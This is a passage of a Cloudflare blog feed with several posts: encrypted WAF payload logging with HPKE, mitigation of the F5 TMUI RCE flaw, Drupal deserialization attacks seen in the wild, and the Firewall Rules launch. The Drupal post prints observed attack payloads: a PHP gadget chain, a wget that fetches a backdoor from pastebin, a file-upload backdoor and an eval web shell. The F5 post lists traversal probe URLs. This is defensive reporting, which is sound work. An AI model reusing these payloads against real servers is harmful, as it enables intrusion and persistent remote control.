    <p>Once we had an encryption scheme selected, we needed to settle on an implementation. HPKE is still fairly new, so the libraries aren't quite mature yet. There is a <a href="https://github.com/cisco/go-hpke">reference implementation</a>, and we’re in the process of developing an implementation in Go as part of <a href="https://github.com/cloudflare/circl">CIRCL</a>. However, in the absence of a clear "go to" that is widely known to be the best, we decided to go with <a href="https://github.com/rozbb/rust-hpke">an implementation</a> leveraging the same language already powering much of the Firewall code running at the Cloudflare edge - <a href="/building-fast-interpreters-in-rust/">Rust</a>.</p><p>Aside from this, the language benefits from features like native primitives, and crucially the ability to easily compile to <a href="https://developer.mozilla.org/en-US/docs/WebAssembly">WebAssembly (WASM)</a>.</p><p>As we mentioned in a <a href="/encrypt-waf-payloads-hpke/">previous blog post</a>, customers are able to generate a key pair and decrypt payloads either from the dashboard UI or from a CLI. Instead of writing and maintaining two different codebases for these, we opted to reuse the same implementation across the edge component that encrypts the payloads and the UI and CLI that decrypt them. To achieve this we compile our library to target WASM so it can be used in the dashboard UI code that runs in the browser. While this approach may yield a slightly larger JavaScript bundle size and relatively small computational overhead, we found it preferable to spending a significant amount of time securely re-implementing HPKE using JavaScript <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Crypto_API">WebCrypto</a> primitives.</p><p>The HPKE implementation we decided on comes with the caveat of not yet being formally audited, so we performed our own internal security review. We analyzed the cryptography primitives being used and the corresponding libraries. Between the composition of said primitives and secure programming practices like correctly zeroing memory and safe usage of random number generators, we found no security issues.</p>
    <div>
      <h3>Making It Secure For Users</h3>
      <a href="#making-it-secure-for-users">
        
      </a>
    </div>
    <p>To encrypt on behalf of users, we need them to provide us with a public key. To make this as easy as possible, we built a CLI tool along with the ability to do it right in the browser. Either option allows the user to generate a public/private key pair without needing to talk to Cloudflare servers at all.</p><p>In our API, we specifically do not accept the private key of the key pair — we don't want it! We don't need and don't want to be able to decrypt the data we're storing.</p><p>For the dashboard, once the user provides the private key for decryption, the key is held in a temporary JavaScript variable and used for the in-browser decryption. This allows the user to not constantly have to provide the key while browsing the Firewall event logs. The private key is also not persisted in any way in the browser, so any action that refreshes the page such as refreshing or navigating away will require the user to provide the key again. We believe this is an acceptable usability compromise for better security.</p>
    <div>
      <h3>How Payload Extraction Works</h3>
      <a href="#how-payload-extraction-works">
        
      </a>
    </div>
    <p>After deciding how to encrypt the data, we just had to figure out the rest of the feature: what data to encrypt, how to store and transmit it, and how to allow users to decrypt it.</p><p>When an HTTP request reaches the L7 Firewall, it is evaluated against a set of rulesets. Each of these rulesets contain several rules written in the <a href="https://github.com/cloudflare/wirefilter">wirefilter</a> syntax.</p><p>An example of one such rule would be:</p>
            <pre><code>http.request.version eq "HTTP/1.1"
and
(
    http.request.uri.path matches "\n+."
    or
    http.request.uri.query matches "\x00+."
)</code></pre>
            <p>This expression evaluates to a boolean “true” for HTTP/1.1 requests that either contain one or more newlines followed by a character in the request path or one or more NULL bytes followed by a character in the query string.</p><p>Say we had the following request that would match the rule above:</p>
            <pre><code>GET /cms/%0Aadmin?action=%00post HTTP/1.1
Host: example.com</code></pre>
            <p>If matched data logging is enabled, the rules that match would be executed again in a special context that tags all fields that are accessed during execution. We do this second execution because this tagging adds a noticeable computational overhead, and since the vast majority of requests don't trigger a rule at all we would be unnecessarily adding overhead to each request. Requests that do match any rules will only match a few rules as well, so we don't need to re-execute a large portion of the ruleset.</p><p>You may notice that although <code>http.request.uri.query matches "\x00+."</code> evaluates to <code>true</code> for this request, it won’t be executed, because the expression short-circuits with the first <code>or</code> condition that also matches. This results in only <code>http.request.version</code> and <code>http.request.uri.path</code> being tagged as accessed:</p>
            <pre><code>http.request.version -&gt; HTTP/1.1
http.request.uri.path -&gt; /cms/%0Aadmin</code></pre>
            <p>Having gathered the fields that were accessed, the Firewall engine does some post-processing; removing fields that are a subset of others (e.g., the query string and the full URI), or truncating fields that are beyond a certain character length.</p><p>Finally, these get serialized as JSON, encrypted with the customer's public key, serialized again as a set of bytes, and prefixed with a version number should we need to change/update it in the future. To simplify consumption of these blobs, our APIs display a base64 encoded version of the bytes:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3GszxT7kezPhIz3olZ7NRG/5e5468f1d414682c3279c9f427c92dfa/image3-8.png" />
            
            </figure><p>Now that we have encrypted the data at the edge and persisted it in <a href="/tag/clickhouse/">ClickHouse</a>, we need to allow users to decrypt it. As part of the setup of turning this feature on, users generated a key-pair: the public key which was used to encrypt the payloads and a private key which is used to decrypt them. Decryption is done completely offline via either the command line using <a href="https://github.com/cloudflare/matched-data-cli">cloudflare/matched-data-cli</a>:</p>
            <pre><code>$ MATCHED_DATA=AkjQDktMX4FudxeQhwa0UPNezhkgLAUbkglNQ8XVCHYqPgAAAAAAAACox6cEwqWQpFVE2gCFyOFsSdm2hCoE0/oWKXZJGa5UPd5mWSRxNctuXNtU32hcYNR/azLjsGO668Jwk+qCdFvmKjEqEMJgI+fvhwLQmm4=
$ matched-data-cli decrypt -d $MATCHED_DATA -k $PRIVATE_KEY
{"http.request.version": "HTTP/1.1", "http.request.uri.path": "/cms/%0Aadmin"}</code></pre>
            <p>Or the dashboard UI:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4S6H5u9SqEUrWDRRnYnCS/18a59db043aab89967c898bf87185151/image1-7.png" />
            
            </figure><p>Since our CLI tool is open-source and HPKE is interoperable, it can also be used in other tooling as part of a user's logging pipeline, for example in security information and event management (SIEM) software.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>This was a team effort with help from our Research and Security teams throughout the process. We relied on them for recommendations on how best to evaluate the algorithms as well as vetting the libraries we wanted to use.</p><p>We're very pleased with how HPKE has worked out for us from an ease-of-implementation and performance standpoint. It was also an easy choice for us to make due to its impending standardization and best-of-both-worlds approach to security.</p>
    <div>
      <h3>Watch it on Cloudflare TV</h3>
      <a href="#watch-it-on-cloudflare-tv">
        
      </a>
    </div>
    <div></div>
<p></p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Firewall]]></category>
            <category><![CDATA[Cryptography]]></category>
            <guid isPermaLink="false">2D6DVPVrqbmzOVwOsplIix</guid>
            <dc:creator>Miguel de Moura</dc:creator>
            <dc:creator>Andre Bluehs</dc:creator>
        </item>
        <item>
            <title><![CDATA[Encrypting your WAF Payloads with Hybrid Public Key Encryption (HPKE)]]></title>
            <link>https://blog.cloudflare.com/encrypt-waf-payloads-hpke/</link>
            <pubDate>Fri, 11 Dec 2020 15:00:00 GMT</pubDate>
            <description><![CDATA[ Allowing logging for payloads that trigger the Web Application Firewall has always led to end-user privacy concerns. We built encrypted matched payload logging to solve this! ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1RlsdFM0TM6rsZcupfwTAL/552a88a05215e1ba9106d922609272f9/Hybrid-WAF-keys.png" />
            
            </figure><p>The Cloudflare <a href="https://www.cloudflare.com/waf/">Web Application Firewall</a> (WAF) blocks more than 72B malicious requests per day from reaching our customers’ applications. Typically, our users can easily confirm these requests were not legitimate by checking the URL, the query parameters, or other metadata that Cloudflare provides as part of the <a href="https://developers.cloudflare.com/logs/log-fields#firewall-events">security event log</a> in the dashboard.</p><p>Sometimes investigating a WAF event requires a bit more research and a trial and error approach, as the WAF may have matched against a field that is not logged by default.</p><p>Not logging all parts of a request is intentional: HTTP headers and payloads often contain sensitive data, including personally identifiable information, which <a href="/welcome-to-privacy-and-compliance-week/">we consider a toxic asset</a>. Request headers may contain cookies and <code>POST</code> payloads may contain username and password pairs submitted during a login attempt among other sensitive data.</p><p>We recognize that providing clear visibility in any security event is a core feature of a firewall, as this allows users to better fine tune their rules. To accomplish this, while ensuring end-user privacy, we built encrypted WAF matched payload logging. This feature will log only the specific component of the request the WAF has deemed malicious — and it is encrypted using a customer-provided key to ensure that no Cloudflare employee can examine the data*. Additionally, the crypto uses an exciting new standard — developed in part by Cloudflare — called Hybrid Public Key Encryption (HPKE).</p><p><i>*All Cloudflare logs are encrypted at rest. This feature implements a second layer of encryption for the specific matched fields so that only the customer can decrypt it.</i></p>
    <div>
      <h3>Encrypting Matched Payloads</h3>
      <a href="#encrypting-matched-payloads">
        
      </a>
    </div>
    <p>To turn on this feature, you need to provide a public key, or generate a private-public key pair directly from the dashboard. Your data will then be encrypted using <a href="https://datatracker.ietf.org/doc/draft-irtf-cfrg-hpke/">Hybrid Public Key Encryption (HPKE)</a>, which offers a great combination of both performance and security.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3q8wP2xSa9UI1I8HApOT3O/f94f88a2461993e3f1d7de6e0e2ff439/image2-36.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2EaIQOvOrl19LBOYFbOFVn/9b6f63a8ae11adb73686f2d242ffbcae/image1-52.png" />
            
            </figure><p>To simplify this process, we have built an easy-to-use <a href="https://github.com/cloudflare/matched-data-cli">command line utility</a> to generate the key pair:</p>
            <pre><code>$ matched-data-cli generate-key-pair
{
  "private_key": "uBS5eBttHrqkdY41kbZPdvYnNz8Vj0TvKIUpjB1y/GA=",
  "public_key": "Ycig/Zr/pZmklmFUN99nr+taURlYItL91g+NcHGYpB8="
}</code></pre>
            <p>Cloudflare does not store the private key and it is our customers’ responsibility to ensure it is stored safely. Lost keys, and the data encrypted with them, cannot be recovered but customers can rotate keys to be used with future payloads.</p><p>Once encrypted, payloads will be available in the logs as encrypted base64 blobs within the <code>metadata</code> field:</p>
            <pre><code>"metadata": [
  {
    "key": "encrypted_matched_data",
    "Value": "AdfVn7odpamJGeFAGj0iW2oTtoXOjVnTFT2x4l+cHKJsEQAAAAAAAAB+zDygjV2aUI92FV4cHMkp+4u37JHnH4fUkRqasPYaCgk="
  }
]</code></pre>
            <p>Decrypting payloads can be done via the dashboard from the Security Events log, or by using the command line utility, as shown below. If done via the dashboard, the browser will decrypt the payload locally (i.e., client side) and will not send the private key to Cloudflare.</p>
            <pre><code>$ printf $PRIVATE_KEY | ./matched-data-cli decrypt -d AdfVn7odpamJGeFAGj0iW2oTtoXOjVnTFT2x4l+cHKJsEQAAAAAAAAB+zDygjV2aUI92FV4cHMkp+4u37JHnH4fUkRqasPYaCgk= --private-key-stdin</code></pre>
            <p>The command above returns:</p>
            <pre><code>{"REQUEST_HEADERS:REFERER":"https:\/\/example.com\/testkey.txt?a=&lt;script&gt;alert('xss');&lt;\/script&gt;"}</code></pre>
            <p>In the example above, the WAF matched against the <code>REQUEST_HEADERS:REFERER</code> field. Any other fields the WAF matched on would be similarly logged.</p>
    <div>
      <h3>Better Logging with User Privacy in Mind</h3>
      <a href="#better-logging-with-user-privacy-in-mind">
        
      </a>
    </div>
    <p>In the coming months, this feature will be available on our dashboard to our Enterprise customers. Enterprise customers who would like this feature enabled sooner should reach out to their account team. Only application owners who also have access to the Cloudflare dashboard as Super Administrators will be able to configure encrypted matched payload logging. Those who do not have access to the private key, including Cloudflare staff, are not able to decrypt the logs.</p><p>We are also excited for this feature to be one of our first to use Hybrid Public Key Encryption, and for Cloudflare to use this emerging standard developed by the Crypto Forum Research Group (CFRG), the research body that supports the development of Internet standards at the <a href="http://ietf.org">IETF</a>. And stay tuned, we will publish a deep dive post with the technical details soon!</p> ]]></content:encoded>
            <category><![CDATA[Privacy Week]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Firewall]]></category>
            <guid isPermaLink="false">bLhJXerM0NRBni5RZyAUx</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2020-5902: Helping to protect against the F5 TMUI RCE vulnerability]]></title>
            <link>https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/</link>
            <pubDate>Tue, 07 Jul 2020 17:04:41 GMT</pubDate>
            <description><![CDATA[ Cloudflare has deployed a new managed rule protecting customers against a remote code execution vulnerability that has been found in F5 BIG-IP’s web-based Traffic Management User Interface (TMUI). ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare has deployed a new managed rule protecting customers against a <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902">remote code execution vulnerability</a> that has been found in F5 BIG-IP’s web-based Traffic Management User Interface (TMUI). Any customer who has access to the Cloudflare <a href="https://www.cloudflare.com/waf/">Web Application Firewall (WAF)</a> is automatically protected by <a href="https://developers.cloudflare.com/waf/change-log/2020-07-07---emergency-release/">the new rule</a> (100315) that has a default action of BLOCK.</p><p>Initial testing on our network has shown that attackers started probing and trying to exploit this vulnerability starting on July 3.</p><p>F5 has <a href="https://support.f5.com/csp/article/K52145254">published detailed instructions</a> on how to patch affected devices, how to detect if attempts have been made to exploit the vulnerability on a device and instructions on how to add a custom mitigation. If you have an F5 device, read their detailed mitigations before reading the rest of this blog post.</p><p>The most popular probe URL appears to be <code>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp</code> followed by <code>/tmui/login.jsp/..;/tmui/util/getTabSet.jsp,</code> <code>/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp</code> and <code>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp.</code> All contain the critical pattern ..; which is at the heart of the vulnerability.</p><p>On July 3 we saw O(1k) probes ramping to O(1m) yesterday. This is because simple test patterns have been added to scanning tools and small test programs made available by security researchers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/jomtn8ocHGzcuOT7cCJYs/dd53f8316167f43d3f5667bcaf165099/image1-3.png" />
            
            </figure>
    <div>
      <h3>The Vulnerability</h3>
      <a href="#the-vulnerability">
        
      </a>
    </div>
    <p>The vulnerability was disclosed by the vendor on July 1 and allows both authenticated and unauthenticated users to perform remote code execution (RCE).</p><p>Remote Code Execution is a type of code injection which provides the attacker the ability to run any arbitrary code on the target application, allowing them, in most scenarios such as this one, to gain privileged access and perform a full system take over.</p><p>The vulnerability affects the administration interface only (the management dashboard), not the underlying data plane provided by the application.</p>
    <div>
      <h3>How to Mitigate</h3>
      <a href="#how-to-mitigate">
        
      </a>
    </div>
    <p>If updating the application is not possible, the attack can be mitigated by blocking all requests that match the following regular expression in the URL:</p><p><code>.*\.\.;.*</code></p><p>The above regular expression matches two dot characters (.) followed by a semicolon within any sequence of characters.</p><p>Customers who are using the Cloudflare WAF, that have their F5 BIG-IP TMUI interface proxied behind Cloudflare, are already automatically protected from this vulnerability with rule <code>100315</code>. If you wish to turn off the rule or change the default action:</p><ol><li><p>Head over to the Cloudflare Firewall, then click on Managed Rules and head over to the advanced link under the Cloudflare Managed Rule set,</p></li><li><p>Search for rule ID: <code>100315</code>,</p></li><li><p>Select any appropriate action or disable the rule.</p></li></ol> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">2LT4LqtqK75ouyI8IH3EAV</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Maitane Zotes</dc:creator>
        </item>
        <item>
            <title><![CDATA[Stopping Drupal’s SA-CORE-2019-003 Vulnerability]]></title>
            <link>https://blog.cloudflare.com/stopping-drupal-sa-core-2019-003/</link>
            <pubDate>Tue, 05 Mar 2019 22:55:04 GMT</pubDate>
            <description><![CDATA[ Drupal discovered a severe vulnerability and said they would release a patch. When the patch was released we analysed and created rules to mitigate these. By analysing the patch we created WAF rules to protect Cloudflare customers running Drupal. ]]></description>
            <content:encoded><![CDATA[ <p>On the 20th February 2019, Drupal <a href="https://www.drupal.org/psa-2019-02-19">announced</a> that they had discovered a severe vulnerability and that they would be releasing a patch for it the next day. Drupal is a Content Management System used by many of our customers, which made it important that our WAF protect against the vulnerability as quickly as possible.</p><p>As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.</p><p>We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.</p>
    <div>
      <h3>The exploit</h3>
      <a href="#the-exploit">
        
      </a>
    </div>
    <p>As Drupal's <a href="https://www.drupal.org/sa-core-2019-003">release announcement</a> explains, a site is affected if:</p><ul><li><p>It has the Drupal 8 RESTful API enabled                                      </p></li><li><p>Or it uses <a href="https://www.drupal.org/sa-contrib-2019-020">one</a> of the <a href="https://www.drupal.org/security/contrib">8 modules</a> found to be affected</p></li></ul><p>From looking at the <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936">patch</a> we very quickly realised the exploit would be based on deserialization. The option <code>['allowed_classes' =&gt; FALSE]</code> was added as part of the patch to the <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936#diff-9077dc961778b7c8d9c47882c4248e42L67">link</a> and <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936#diff-d200adc66611cf78e65f2a3258144c49L194">map</a> field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.</p><p>This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.</p><p>Making the situation worse was the fact that the deserialization was performed regardless of any authentication.</p><p>We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation <a href="https://secure.php.net/manual/en/function.unserialize.php">notes</a>, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.</p><p>This blog <a href="https://www.ambionics.io/blog/drupal8-rce">post from Ambionics</a> does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.</p>
    <div>
      <h3>What we caught</h3>
      <a href="#what-we-caught">
        
      </a>
    </div>
    <p>After the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.</p><p>This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1UGyxkHL7SuJOy3M65Kf1u/7b062c8713332ad618aea8e0e2169e47/D0020.png" />
            
            </figure><p>Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.</p><p>These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as <a href="https://www.ambionics.io/blog/drupal8-rce">ambionics</a> did.</p>
            <pre><code>'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}''</code></pre>
            <p>After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.</p><p>The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.</p><p><code>wget -O 1x.php https://pastebin.com/raw/npLq4493</code></p><p>This script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.</p>
            <pre><code>&lt;?  echo "'XXXXXXXXXXXX";
$cwd = getcwd();
Echo '&lt;center&gt;  &lt;form method="post" target="_self" enctype="multipart/form-data"&gt;  &lt;input type="file" size="20" name="uploads" /&gt; &lt;input type="submit" value="upload" /&gt;  &lt;/form&gt;  &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;&lt;br&gt;';
if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "&lt;script&gt;alert('upload Done');
		&lt;/script&gt;&lt;b&gt;Uploaded !!!&lt;/b&gt;&lt;br&gt;name : ".$_FILES['uploads']['name']."&lt;br&gt;size : ".$_FILES['uploads']['size']."&lt;br&gt;type : ".$_FILES['uploads']['type'];
}
?&gt;</code></pre>
            <p>Another malicious payload seen was much more minimal:</p><p><code>echo '&lt;?php @eval($_POST['pass']) ?&gt;' &gt; vuln1.php</code></p><p>This payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.</p>
    <div>
      <h3>Rates of exploitation</h3>
      <a href="#rates-of-exploitation">
        
      </a>
    </div>
    <p>The pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.</p><p>It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.</p> ]]></content:encoded>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">1bvpiflJ1cp5qLlzmhEyks</guid>
            <dc:creator>Richard Sommerville</dc:creator>
        </item>
        <item>
            <title><![CDATA[Announcing Firewall Rules]]></title>
            <link>https://blog.cloudflare.com/announcing-firewall-rules/</link>
            <pubDate>Wed, 03 Oct 2018 20:20:49 GMT</pubDate>
            <description><![CDATA[ Threat landscapes change every second. As attackers evolve, vulnerabilities materialise faster than engineers can patch systems becoming more dynamic and devious. Part of Cloudflare’s mission is to keep you and your applications safe. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Threat landscapes change every second. As attackers evolve, becoming more dynamic and devious, vulnerabilities materialize faster than engineers can patch their applications. Part of Cloudflare’s mission is to keep you and your applications safe. Today, Cloudflare is launching a new feature, giving customers what they have been requesting - fine-grained control over their incoming requests.</p><p>Cloudflare already offers a number of powerful firewall tools such as IP rules, CIDR rules, ASN rules, country rules, HTTP user-agent blocking, Zone Lockdown (for these URIs only allow traffic from those IPs), and our comprehensive managed rules within our <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF (Web Application Firewall)</a>. But sometimes, you need to combine the power of these to fully mitigate an attack, and to express a block rule that breaks the boundaries of the existing tools, to be able to “block traffic to this URI when the request comes from that IP and the user-agent matches one of these”.</p>
    <div>
      <h3>Flexibility and Control</h3>
      <a href="#flexibility-and-control">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2YfAM9xTlNAiOQigJiTfEm/35324dbb36b9a512f8288637a8b332e9/Stefano-Kocka.jpg" />
            
            </figure><p>© Stefano Kocka : Source Wikipedia</p><p>Common themes arose when we spoke to customers about their needs and also reviewed feature requests that our customer support team had seen, and we categorised the top pieces of feedback and feature requests into three core needs:</p><ol><li><p>More flexibility to create a firewall rule that matches more than just a single attribute, like an IP address and User-Agent</p></li><li><p>Flexibility to not only exactly match an attribute, but also partially match it, through using a string or a pattern, for example <code>User-Agent: *Firefox*</code></p></li><li><p>Complete self-service control through the UI and Cloudflare’s public API, even for the most complex firewall rules</p></li></ol><p>The team worked together to investigate what a fresh approach to our firewall would look like, with one overarching mission being front and center: build a Swiss Army knife of firewalls for our customers. Our key objectives were to:</p><ol><li><p>Provide a tool to give customers flexible and granular control of their traffic</p></li><li><p>Maintain a smooth and intuitive user-experience, something we thrive on delivering</p></li><li><p>Ensure it is accessible and usable by all of our customers, regardless of user skill or business size</p></li></ol>
    <div>
      <h3>Firewall Rules</h3>
      <a href="#firewall-rules">
        
      </a>
    </div>
    <p>Cloudflare’s new capability, Firewall Rules, provides customers the ability to control requests, in a flexible and intuitive way, inspired by the widely known Wireshark®  language. Configuration of rules can be done through not only our Dashboard and API, but also through Terraform (<a href="/getting-started-with-terraform-and-cloudflare-part-1/">link here</a>).</p><p>The Firewall Rules engine can be thought of as 2 components:</p><ul><li><p>Matching: define a filter that runs globally and precisely matches your traffic</p></li><li><p>Action: declare the action Cloudflare should apply when the filter is matched</p></li></ul><p>Simply put, when the filter matches, apply the action.</p>
    <div>
      <h3>Matching: scoping the rule</h3>
      <a href="#matching-scoping-the-rule">
        
      </a>
    </div>
    <p>Cloudflare Firewall Rules gives customers access to properties of the HTTP request, including referer, user-agent, cookies, Cloudflare Threat Score (IP reputation score), and more.</p><p>All of the supported headers can be matched by many operators, including, a partial match (<code>contains</code>), complete string or integer match (<code>equals</code>), and for our Business and Enterprise customers, pattern matching (<code>matches</code>). Yes, you read that right, we now offer pattern matching using Regular Expressions, directly through the Dashboard and API!</p><p>The great thing about Firewall Rules is the flexibility for Cloudflare to field options; for example, Cloudflare’s Threat Intelligence, which drives our Security Level functionally on the Dashboard, will be an available field for customers. One of the most important fields Cloudflare is introducing is our <code>cf.client.bot</code> field, which verifies known good bots via reverse DNS. In our initial release, we provide customers access to the general classification of “Known Good Bots”. Details on the list of these bots can be found <a href="https://developers.cloudflare.com/firewall/known-issues-and-faq/#which-bots-or-crawlers-are-detected-in-firewall-rules">here</a>. Cloudflare has historically allowlisted Google on behalf of our customers, and utilised Web Application Firewall rules, which are only available to Pro customers and above, to block spoofed crawlers. With Firewall Rules, all customers now have access to these protections. As Cloudflare has removed the allowlisting capability, it is important that customers include simply <code>cf.client.bot</code> in an Allowed rule, to avoid inadvertently blocking good crawlers which could affect your SEO and monitoring.</p>
    <div>
      <h3>Action: what action is applied to the request</h3>
      <a href="#action-what-action-is-applied-to-the-request">
        
      </a>
    </div>
    <p>All of the standard Cloudflare actions such as JavaScript Challenge, Challenge and Block are available.</p><p>There is one new addition to the standard mitigation list, which is the <code>allow</code> action, which provides a customer the ability to create Rule to say “if this criteria is matched, stop processing further rules”.</p>
    <div>
      <h3>Give me some examples!</h3>
      <a href="#give-me-some-examples">
        
      </a>
    </div>
    <p>Sure, here’s four cool examples that we see being used today. Advanced or nested rules are not supported in the Visual Rule Builder today. These are noted below each rule.                                                                                                            </p><p><i><b>Example 1 - Challenge all countries except GB</b></i>Supported: Visual Builder, Expression EditorThis can be done using our IP Firewall but would require 150+ rules!</p>
            <pre><code>(ip.geoip.country ne "GB")</code></pre>
            
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5xJ8ApfaQjUhMAwP3JY3mF/c8ce76060aad93b3c87c548d3690d9b6/image.png" />
            
            </figure><p><b><i>Example 2 - Advanced Hotlink Protection</i></b>Supported: Visual Builder, Expression EditorCloudflare’s built-in hotlink protection can be restrictive for some customers as it does not provide abilities to bypass certain paths. This also can sometimes catch legitimate crawlers.</p>
            <pre><code>(http.request.method eq "GET" and http.referer ne ".example.com" and not http.user_agent matches "(googlebot|facebook)" and http.request.uri.path eq "/content/")</code></pre>
            
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5WPhDS97KcnmamMZ9nC700/d6e7b379ec0a934e08117dc52240fed5/Firewall-Rule-2.png" />
            
            </figure><p><b><i>Example 3 - Blocking Clients with a Threat Score greater than 10 or Clients originating from an abusive network by AS Number, to my Login page</i></b>Supported: Expression EditorOne of the great things about Firewall Rules is that we have provided you access to cf.threat_score, which is what powers the Security Level within the dashboard today.</p>
            <pre><code>(http.request.uri.path eq "/login" and (cf.threat_score &lt; 10 or ip.geoip.asnum eq 12345))</code></pre>
            
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4y7Ft5Ios00FrHaopdenbN/16ff08e012263b36e538e4af426840de/Firewall-Rule-3.png" />
            
            </figure><p><b><i>Example 4 - Zone Lockdown-like-Use case utilising Regular Expression, IP address CIDRs, Country Code and AS Numbers to protect authentication endpoints via both Wordpress website, and an API.</i></b>Supported: Expression EditorZone Lockdown is a great tool; however, it is limited for some critical use cases. Here’s something quite crazy to demonstrate the flexibility:</p>
            <pre><code>((http.host eq "api.example.com" and http.request.uri.path eq "/api/v2/auth") or (http.host matches "^(www|store|blog)\.example.com" and http.request.uri.path contains "wp-login.php") or ip.geoip.country in {"CN" "TH" "US" "ID" "KR" "MY" "IT" "SG" "GB"} or ip.geoip.asnum in {12345 54321 11111}) and not ip.src in {11.22.33.0/24}
111</code></pre>
            
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2YulU707a6hH6HeohJTIjp/888445ff574449a6e5b7af089953b7ae/Firewall-Rule-4.png" />
            
            </figure>
    <div>
      <h3>Positive and Negative Security Models</h3>
      <a href="#positive-and-negative-security-models">
        
      </a>
    </div>
